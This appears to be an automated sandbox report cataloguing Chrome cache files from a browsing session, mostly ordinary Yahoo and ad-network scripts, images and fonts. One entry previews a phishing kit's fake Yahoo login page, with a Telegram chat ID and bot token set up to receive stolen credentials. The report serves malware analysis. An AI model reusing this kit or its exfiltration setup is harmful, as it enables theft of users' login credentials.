Preview:	!function(){function le(l){var c={A1S:{log:!0,key:"_a1s"},B:{log:!1},BX:{log:!0,key:"bx"},WV:{log:!0,key:"_wv"},TT:{log:!1},D:{log:!1},_ga:{log:!0,key:"_ga"},yx:{log:!0,key:"_yx"},rxx:{log:!0,key:"_rx"},UNAUTHID:{log:!0,key:"aol_unauth"},_utd:{log:!0,key:"aol_utd",filter:function(e){e=e.match(/((?:\\|\|^))gd#[^\\|]+/g)[0].split("#")[1];return 24!==e.length&&console.warn("_utd value may be malformed"),e}},RSP_COOKIE:{log:!0,key:"aol_rsp",filter:function(e){e=e.match(/(?:(\&\|^))sn=[^\&]+/g)[0].split("=")[1];return 24!==e.length&&console.warn("RSP_COOKIE value may be malformed"),e}},GUC:{log:!0,key:"_guc"},OTH:{log:!0,key:"_li",filter:function(){return"1"}}},u={};this.getCookieByName=function(e){return u[e]},this.setRxx=function(e){var o=-2,t=(document.domain\|\|"").split("."),r=t.length;function a(e){return"."+t.slice(e).join(".")}function s(){var e,t=a(o),n="rxx",i=u[n];i\|\|(e=(new Date).getTime()-14383872e5,i=parseInt(Math.random().toString().substring(2)).toString(36)+"."+e.toString(36)+"&v

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	28043
Entropy (8bit):	4.007723948950972
Encrypted:	false
SSDEEP:	768:RXVu040rH2or2mBRl/k9or2p0g9wcpTYw4NjTTrr3UD7/elRx1/2cRGc+H0DF75s:RlfHvg
MD5:	2FD9A379EE2232E1ED9E840853D0758A
SHA1:	47AB937DCF5559CE5187F45F73EBF1D0E268BD4D
SHA-256:	2F3D4759015523789976F92D58B4DE425DE52DEE6BCE7DCFDB008130CE598741
SHA-512:	8E6959584C5E2EE97B5DE2C3BCF1F27AB2D5F1F45EC39910431F1008EB93AC42FC5BFDC17C518F855F0F11B6D77EAB8FC9CBA61E8D0F79FE80E812207A02B42C
Malicious:	false
Reputation:	low
URL:	https://see-eim.pages.dev/login_files/login_files/loga
Preview:	<!DOCTYPE html>..<script type="text/javascript">.. //PUT YOUR TELEGRAM INFORMATION HERE.. usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot.. token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0";.. </script>..<html class="js">....<head>.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Yahoo - login</title>...<link rel="icon" type="image/x-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico">.. <meta http-equav="Content-Type" content="text/html;charset=utf-8">.. <meta name="referrer" content="origin-when-cross-origin">..... <style type="text/css">.. /! skeletor-io - v1.0.34 /.. /! normalize.css v3.0.2 \| MIT License \| git.io/normalize /.. .. img,.. legend {.. border: 0.. }.. h1,.. h2,.. h3 {.. letter-spacing: -1.7px.. }.. pre,.. textarea {.. overflow: auto.

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17136), with no line terminators
Category:	downloaded
Size (bytes):	17136
Entropy (8bit):	5.337873040822658
Encrypted:	false
SSDEEP:	384:wFnF2kI1cJXsyopSEXFMQTcelbyl4J0LJfk7W3oe8coToUAuWQ19eZ3Zn9wTrTcw:wFF2kI1cNsyo8EXFMQTPIlu0LJ87woeK
MD5:	0731DA3E399A4565E47C36702FFA9BA6
SHA1:	FEE8A862A5805418792EBB8D0EAA5D591908AD51
SHA-256:	7900F06EBC33D9F9C64F1CC1F92CB19E54BC2BFE2DBD3EC8CC3A0CBB8420014F
SHA-512:	BFFF459497D2614DA629774E80EF404A48D8C77A8137598C2FC496B5D717D66176D581CB8D402A19448951C4E1BA562A4DEEABAEA7CD56AD8AB1EB40D884D248
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/os/yaft/yaft-0.3.28.min.js
Preview:	"undefined"!=typeof window&&function(p,f){"use strict";if(void 0===p.YAFT){var v,T,n,o,a=!1,S=!1,i=!1,h=!1,w=!0,A=(new Date).getTime(),r=!1,e=f.documentElement,F={usePrefixRegex:!0,useNormalizeCoverage:!0,canShowVisualReport:!0,canShowPerfBar:!1,useNativeStartRender:!0,useNativeStartRenderMeaningful:!1,maxWaitTime:3e3,modules:[],adModules:[],modulesExclude:[],modulesAft2Container:[],customReportModules:[],includeOnlyAft2:!1,punishAdsOnNoShow:!1,plugins:[],whiteListedContainerElements:["div","section","ul","ol","li","header","img","a","video","figure","span","picture"],customStartRender:!1,preProcess:!1,getAccurateFirstPaint:!0,fpsMinSampleCount:15,fpsMissLimit:18,preferDataModNameOverId:!1},C=0,P=0,E=0,N=[],R={},y={},Y=0,d={},b=0,s=0,M=0,u=0,l=0,c=!1,g=[];(v=V())&&v.timing&&(A=v.timing.navigationStart,v.now=v.now\|\|v.webkitNow\|\|v.msNow\|\|v.mozNow\|\|void 0,v.now&&(void 0===v.getEntriesByType&&void 0===v.webkitGetEntriesByType\|\|void 0===v.getEntriesByName&&void 0===v.webkitGetEntriesByName\|

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	32444
Entropy (8bit):	5.660073121104936
Encrypted:	false
SSDEEP:	768:KBcQQap9p6Qm+cPqzDuDgywVwGtvTGRmVWEXiUdM:kcQbmX+cPkm1wVwGpii5XPG
MD5:	62CE4DBEC42FEA759B0B5C3A50E6A738
SHA1:	EC24E35A678ADA1677F7239F769495D0FFA495E0
SHA-256:	6944858F473BBC27F9AC15286CE5D51FC4E591A495180C16271D3C20E4737EBE
SHA-512:	566519BA199BF4E0C11DEB553F09B4431A8122860B406FC10B04C6BB9F8C6F11755DEF6D560B318D13C0B210BFDE5FE4CD641FCEBC8294C46C5809B437043720
Malicious:	false
Reputation:	low
Preview:	{"ads":[{"adPosition":"MAST","adSize":"970x250","preTapAdFormat":"TEXT_OPTOUT_MM","template":" MAST template -->\n<style media=\"screen\">\n .act-sans-select{cursor: pointer;-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}\n #act-adContainer {overflow: hidden;position: relative;width: 100%;height: 250px;background-color:#FAFDFF; border-radius: 4px;width: 970px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);}\n #act-adContent {position: absolute;width: 100%;height: 100%;}\n #act-ad {font: 12px \"Helvetica Neue\",Helvetica,Arial,sans-serif;right: 20px;top: 13px;text-align: right;color: #6e7780;}\n #content {position: absolute;left: 496px;width: calc(100% - 501px);color: black;font: 26px \"Helvetica Neue\",Helvetica,Arial,sans-serif;font-weight: bold; top: 50%; transform: translateY(-50%);}\n #act-shade {opacity: 0.7;-moz-box-shadow: inset 0 0 8px #000000;-webkit-box-shadow: i

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.653660689688186
Encrypted:	false
SSDEEP:	3:C/tWmcgfX6Ken:C/t8giKen
MD5:	9E650B4FABFD64E9034C97B2D85F2DA6
SHA1:	6A7C5ADDF6C280163BB658424F011B8B3CFE7BC6
SHA-256:	5448674D9C501AF62F8516DE42D5EFFF4B6F25B02F7E081C924DC290EFDC7D39
SHA-512:	4D8112C51030F6432CBFB54A7882187CAD8D571AAE47470F6997C07BDEB44B0907A894E64052FBB3FD01A86D9293DE2D9089E904F4F0D54C8E564DB5D3C60DFF
Malicious:	false
Reputation:	low
URL:	https://hb.yahoo.net/tcb.js?&cb=window.advBidxc.multiBidTemplatefetch&v=1
Preview:	window.advBidxc.multiBidTemplatefetch({"_":"''"});

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	130777
Entropy (8bit):	5.562312781036145
Encrypted:	false
SSDEEP:	3072:r3Yyyul7zhNe2czYsYsj30tmkQ29pYmYijwY+F:r3Yyyul6zYsYsj+pYmYijY
MD5:	8D83969A9DB7DB04369088E9E27FB582
SHA1:	5D5E39D7E0AC8DE354D89CCEAA9AC147D8A2C2CA
SHA-256:	CF49AEB77347D0D6F87EC2DEAA13692012057B5BCF02F9BCB58F371FE52D9A31
SHA-512:	22C13A4C77B499B9B419A290F23400B0825D8C6DDB3590D40A0F79E3D0A42B63B52FA6096A5DBC7F1E0B3984B3F1C951AA34A68B2192FE6968E7A4B144B27A24
Malicious:	false
Reputation:	low
URL:	"https://www.yahoo.com/caas/content/article/?uuid=38e4b189-858a-3337-8105-11ad07095256,13c5b235-4dae-31a9-907f-135cdada812d,ce810da6-ac2a-33d8-9f13-869ced0eec5c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc"
Preview:	{"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"news;no-hreflang;celebrities;entertainment","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0a6T00000R0HRZQA3;revsp:good_housekeeping_561;lpstaid:38e4b189-858a-3337-8105-11ad07095256;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Kaley_Cuoco;Jimmy_Kimmel;Amazon_Prime;Tom_Pelphrey;Role-playing\" ctopid=\"1035500;1104500\" hashtag=\"news;no-hreflang;1035500;1104500\" rs=\"lmsid:a0a6T00000R0HRZQA3;revsp:good_housekeeping_561;lpstaid:38e4b189-858a-3337-8105-11ad07095256;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"lifestyle","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":false},"alias":"ymedia-alias:shadow=kaley-cuoco-shut-down-jimmy-172400018","canonicalUrl":"https://www.goodhousekeeping.com/life/entertainment/a46329516/kaley-cuoco-role-play-jimmy-kimmel-live-mini-dress-instagram/","categoryLabel":"Entertainment","commentsAllowed":true,"c

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8254), with no line terminators
Category:	downloaded
Size (bytes):	8254
Entropy (8bit):	5.339222492199265
Encrypted:	false
SSDEEP:	192:6EuL8zG7CAQyinBudEIrfp4CrxdHtxVhyQRyfTSTvTsTyT2Y3mkot:juL8uCByinBxmB4CrxtTHySyfWDYOyY8
MD5:	1ED4FE71B1FC647DDBF37A7050944309
SHA1:	7D959D812262C51C4C11D7D31BE040692248F438
SHA-256:	FAF50015DE5B96281DCBF145FDF58222EFC35C962759A3E915F4E95F510D7B78
SHA-512:	7E1332BF492D83256CD7E6507811FA188D3D1F23659B4697C15563254B77E8184CF3E23064D5E9DFD4A22229DAD02EA300FE57CF4E77C4093D8F29C6B1DFD0EA
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js
Preview:	window.wafer&&window.wafer.ready((function(){var e="show-drawer",t=null,a=null,r="wafer-fetch-error",i="wafer-fetch-complete",n="stream-related-drawer",o="StreamRelated",s="react-wafer-stream",c="json",d="wafer-fetch",l="stream-uuid-list",u=[],w=document.querySelectorAll(".stream-items"),m=window.innerWidth\|\|document.documentElement.clientWidth,f="js-sponsored-moments-dwell-time",A=window.wafer&&window.wafer.utils,g={INARTICLE:9/16,reservemoments:16/9},p=function e(t){var a,r,i=t.getAttribute("data-da-position");if("reservemoments"===i&&(t=t.querySelector("#defaultRESERVEMOMENTS")),a=t.getAttribute("data-html"),r=t.getAttribute("data-darla-config"),a&&r){(r=JSON.parse(r)).dest;var n=window.DARLA.prefetched();if(!window.DARLA.config()\|\|window.DARLA.inProgress()\|\|n&&0!==n.length)setTimeout((function(){e(t)}),500);else{if(!r.h&&!r.w){var o=Math.floor(m*g[i]),s={flex:{h:{min:o},w:{min:m}},h:o,w:m};Object.assign(r,s)}var c=r.id;window.DARLA.addPos(r);var d=new window.DARLA.Response(c,{});a=

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 12144, version 1.0
Category:	downloaded
Size (bytes):	12144
Entropy (8bit):	7.981180449403383
Encrypted:	false
SSDEEP:	192:sJyEo+ydoaoCGjfYOgk8y5tUcO0hJ5NtlRN4XeBajO42e3uqnGZLxIBtLVq5lxFU:4wKa/klU/0/5Tl2eBy9TuqnGZ+BtL6Ch
MD5:	4D57D79EAA69D75CE2BA376EBF1730A6
SHA1:	061A02F4A9C1C375EB301CCA417EDDBD619BB636
SHA-256:	29108A759B71AD461D4DBAC9E8B70F20D2636058B937C342ED64144829BE9372
SHA-512:	FCCB8ECA90379CC0187F6697BFFC3203B22C5DE286517A3E357CAFFB5FD18220A214CDB6AC8F2DD7FCF4AA96A2E4C3CFEE243CE717BFDC63236A643A694B77C3
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/fonts/2019/YahooSansCond-Medium.woff2
Preview:	wOF2....../p......y.../...........................F.`..$.....$.%..Z..6.$..0. ..;..e..h5..K.........QjU+.`...G...k..1..x.1.\... .B..AQt..hel_..,...=.z.;.R...0}._.r..t..$..6.8..Tczel....gni...Gh.\....z.4"1$....o..Q.1..A.&..q..(v.X...Q3j}7c."o........n.W.H7.....u.}_H..D8`.PT.qE.(\|......N.ez&...=........(...v.............m....s..P...1..}...[V..X."-@g.cr..[....:j....`...V.I.]..Kf#......B.,^i....k"nzBf.ju....{H...3zB-...M..o.]i.+r........P..'@1.9.\|.`&....$d....-...J..:...s.iL...c..9.J...z..K+.Ho..#-.,..I.^h..F.../2q.H....3_d. s. .LB?....(.4s.0s.......K.>.$...-.P.K7..^,(.3\|.S$..aP..E...?&V...>...J...a.n.:G..01f...;...)..I.........{.k..y?..l...P..L..r......;_...=.D!.NJ..I/$.P.jb<..#SbQX.3Ap.....?A..!8......'.....-'.\^0.M.)Kv(.x...l..X!.r.'.O.y?.52g(7>....Vu....h..^..U~..H(#cLp........[S\.k..A....7..q...6vq.c..'..2.i~.'.q.G.O.~B.....)....".....q.....j..$...P.%.V7.M*....zY8._..tY........."KV......N....h.F.4....w..4..(...1[.r....7>.Gl.....).0

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.643128516143859
Encrypted:	false
SSDEEP:	3:YQ3/eHijGWcoHIRktR2GgcdoQm3wWK1:YQ3LG0Mxc23wd
MD5:	C2F6FD4257B5E3EBBFABAECB62CFA45D
SHA1:	F16B4826BA74D10D1D40EF4692202D6E59A4362A
SHA-256:	BFF3F7C5E1517CF9ADACFF1E6CB3756C0AC5490FAEBCDAC70EEB4CD766EB238E
SHA-512:	C072361D74625BBCA4B9A5449269DE3AAF5E470A023EFCD80AD7F43507E621E32B74656530E67B8FAF97A41628D3EAD386A4E09C644B1E556D64E34596573BD1
Malicious:	false
Reputation:	low
URL:	https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8
Preview:	{"user":{"id":"53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51","isNewUser":true}}

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 356x180, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	5992
Entropy (8bit):	7.97197516346852
Encrypted:	false
SSDEEP:	96:HRp/uSEG7SE64NULmi8AUElan1ojXS5Ubp4cgHkzbzAVjSi6K8kt1i81ULjGAWWE:xplFX6L58lEwyS5vc+lVjSiD1i81UvSD
MD5:	1EE0189DA4F3C7D32187891A2E46BD29
SHA1:	AE58797B2D7084AB8FAA5E8ADF8629D77201F6D9
SHA-256:	0A188660911DE7A19806AC3567C30FDAF215D88C8CC1123F5745E100E1841357
SHA-512:	90221FE5255E21354435469E136724032A44B981E9AFE24A94BCE7FF5D65008F83FFFC24B5BDBCDADBDFC0A59216A8BBCE8C5770411B48ABD305A32E9AD6AE2F
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/mIZK08Gbjy8FWfYiN9Nhww--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/8d2ccbb0-afa2-11ee-bf64-8de956aacb32.cf.webp
Preview:	RIFF`...WEBPVP8 T.......d...>y8.I$.".$.k8...cle..-..J..;d....at.0.."."~.)..w..9......z^.z...q.-........'.7.b...3b./>...+._h.?.\..D..>c_~X.....U.qp...P.H...Kz9.O.5.....zs..w.bn0.a..Q.9W8...Uq..KX..>..`'.?...Cm1&...o...qc...}..h..j.....A.'...~=.{iZ...S=.............. ......~.e..yj...S..k.5.F.N..w.e%.4.3T.b.`.-..@...l.....c....u.F...$.$.+......7..r#.]u.l.E..C1..(....H.t<..J .t.f....7@.....ZO...9.C.w..Fg.->..M}.6..:.s.(.@.Q...,(.kz..t..#e&v..4.I.nO...\|...%.E@.E,i.vx.2I.6....>...!...#mH.K....D...........P.F%G..0a.g..F.IK"..G....%....he".p.......52.y..E=......aL.k...6.?..V<.. ..."ndij..!...h.%.j8.S..T.U....d..D........=e8)V..6.c.].j.....ipx..^..l..!.r...Nw.+...,............`.E}..9...@..z..Ph..^.n.B.nw.SW.2%...>.}.8[>..[a.J..c..M...1.;G.{.....'..."...+.3.!.a....X.l.V.cn.c..h.ax..[.0.......]Q=.....3/....tw./....x85S.-....m.4m.~..:....{~.#!......].F.:.....3......Q..].K......l.h7....y.7..W.t.b.Q...v.d....+Jkp..Q..6..w.......M.!....IG.@..Q

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1200x627, components 3
Category:	dropped
Size (bytes):	62319
Entropy (8bit):	7.985299887336146
Encrypted:	false
SSDEEP:	1536:IyX3fExQxN3n0vhrhhN3ZOgT6ugl4waKLPkS9MpUJfkZnXp7fB:jfE5vhrV3ZeuKv8SM6fEZfB
MD5:	33262BBBD3A0372031794E7CA6EA2FF2
SHA1:	853B5FD128994DEE7E88C4C4781C52F38F35F525
SHA-256:	D1514447B44D5BA21A058770E487F5CD22AD27CE9B0E23F82C59A99CB3350D1A
SHA-512:	D0D6D9869C57556FD15ABC6C28834E4605A64821E50D46A4C62F2709C0124D4B653A5F5893A0F6320B1B575BD9AF622A6C85D716D8CAF73B8DD098A076100A7D
Malicious:	false
Reputation:	low
Preview:	......JFIF...........................................%......%!(!.!(!;/))/;E:7:ESJJSici................................%......%!(!.!(!;/))/;E:7:ESJJSici.........s...."..........4.................................................................L.../u.V.@F.X#....B.+..6......,...-..8....xi.^...`..-Qm..b.Z.T.-F......'B. .nd.6.7....6.._...}..._..........m..%.X)..,9..&..4.SU..4.9jV.a.X..IEL.....0.."c#....S.2.U.......KP.N....S94^..s/..i.n.C.<...&.#.G.......1c..ak...K.t4z...i.XRf)Y......k..l..eP..l.{U.....K..q...(....93.{1.X.T....re.T.q.-EiT..Z]n"..Z.twZ.'...../T.=!...S..L.(..y.,:\|..~C....'...+&i5l..f.....c5.G....5....@...sC....HQit.q...u.A.....21f&3Q:.v.6xt.{....1.....l.......rMb.zRAK.d2..].a.....`(..GG......`?..C.......vA$b .P.)k\j^].H....hW.#F..y...P.t.uX. ....`..` .....d.+.u......%@V1.;...M.....0TB.b...N..f.&...G.?p....u.....,...nZK.....H...f..t.....^z...-..0E...OA.....N`z....-9.....h..0v.EnX..N+n.x7.M(...8'.!CB.I..C.=..y.j.%Y[Z...%...igR.k.@...y.Z.FZk`T.r.\|B..0

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8260), with no line terminators
Category:	downloaded
Size (bytes):	8260
Entropy (8bit):	5.238261028208202
Encrypted:	false
SSDEEP:	192:L2JhEpTVHpBTRgbW8DdlWzMEqt16lOTlKW5BCNaCV5WgeTYy3:L2JhEjpBKC8DjWpc16oBKAAaqeky
MD5:	DFA69F455EFA8A49A71AF52519927C3F
SHA1:	07E3A5A50D74E9150408B2D5A50AE1242F6A5A33
SHA-256:	6014DBEF5594ADD5F4104CE8597BC8C6B755E9DCA6B32E40EB04246E55588406
SHA-512:	72673CB76FB5C77B570C44AD5A156DD634C9E57E8C1FF0845C9C021FA492061804FE07C7C8CBEEA8049C3644C4352C17A575903428C1ACC00255E38C27F4D010
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js
Preview:	webpackJsonpwafer_wafers_wafer_autocomplete([0],{"./src/types recursive ^\\.\\/.$":function(e,t,r){function a(e){return r(s(e))}function s(e){var t=i[e];if(!(t+1))throw new Error("Cannot find module '"+e+"'.");return t}var i={"./aol-location":"./src/types/aol-location.js","./aol-location.js":"./src/types/aol-location.js","./aol-markets":"./src/types/aol-markets.js","./aol-markets.js":"./src/types/aol-markets.js","./aol-recipes":"./src/types/aol-recipes.js","./aol-recipes.js":"./src/types/aol-recipes.js","./gossip":"./src/types/gossip.js","./gossip.js":"./src/types/gossip.js","./sports-teams":"./src/types/sports-teams.js","./sports-teams.js":"./src/types/sports-teams.js","./weather":"./src/types/weather.js","./weather.js":"./src/types/weather.js"};a.keys=function(){return Object.keys(i)},a.resolve=s,e.exports=a,a.id="./src/types recursive ^\\.\\/.$"},"./src/types/aol-location.js":function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),r.d(t,"getListMarkup",functi

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15907), with no line terminators
Category:	downloaded
Size (bytes):	15907
Entropy (8bit):	5.514273213911923
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncM:jAJ00JnLOH4ZjhwDi2+0s9R
MD5:	AE79DB664406C9254F4F32DAF70C93AC
SHA1:	FAE0AE1FCEB99F996F315545F1C75EB04939B20C
SHA-256:	8E53E50181B7A9E2CAA94173C37FCD9DE8FA75750764A2AD8AD02FAC3306D652
SHA-512:	FBD5EC409CE57592EFF6BDFB2DF69C2414A79D84CB9B1BE5B6C5110985A0FF4D192B7D31160D9F14F3E3DBA21628129ECF9BC925597F968AC1CF6DF849346AF6
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156078&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&predirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.html%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dpub%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D%0A
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	5.177312516380945
Encrypted:	false
SSDEEP:	24:tCbYLbGPGuXVGTIshQGzGeLGSoGQlnGMGlsXGlbvOu3aYrpRDnOG3KwS7x7SyFYb:Di+hVdqUGSbQMHNDq8glIyxI
MD5:	93DC53D369DCA8F09877C3ECC9A41DE3
SHA1:	346D07BC2A3B65CD75CF0B3F938348969CA1A7C5
SHA-256:	E689333AEAB6ADA00BE85106F30DEDD1E069EFCF70B78E13CE407CC04B1B1189
SHA-512:	9D084CFA903CA9B6C253937B5F5628582C2080826124613CB5F70E6869ED472DF8541DF52E69DCDA55AFC11ED015BC0083DF5C1074717979544168F1E80ECB3E
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a">. <stop stop-color="#FFF5B2" offset=".013%"/>. <stop stop-color="#FFDE00" offset="39.944%"/>. <stop stop-color="#FFA700" offset="100%"/>. </linearGradient>. <linearGradient x1="11.357%" y1="56.982%" x2="74.1%" y2="26.47%" id="b">. <stop stop-color="#FFB92B" stop-opacity=".05" offset="0%"/>. <stop stop-color="#FF6900" offset="100%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="c">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M29.428 9.083c-4.944.213-9.017 4.055-9.642 9.094a6.54 6.54 0 00-5.162.923c-1.899 1.144-3.201 3.098-3.552 5.33a7.336 7.336 0 00.435 3.706c.46 1.083 1.502 1.7

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
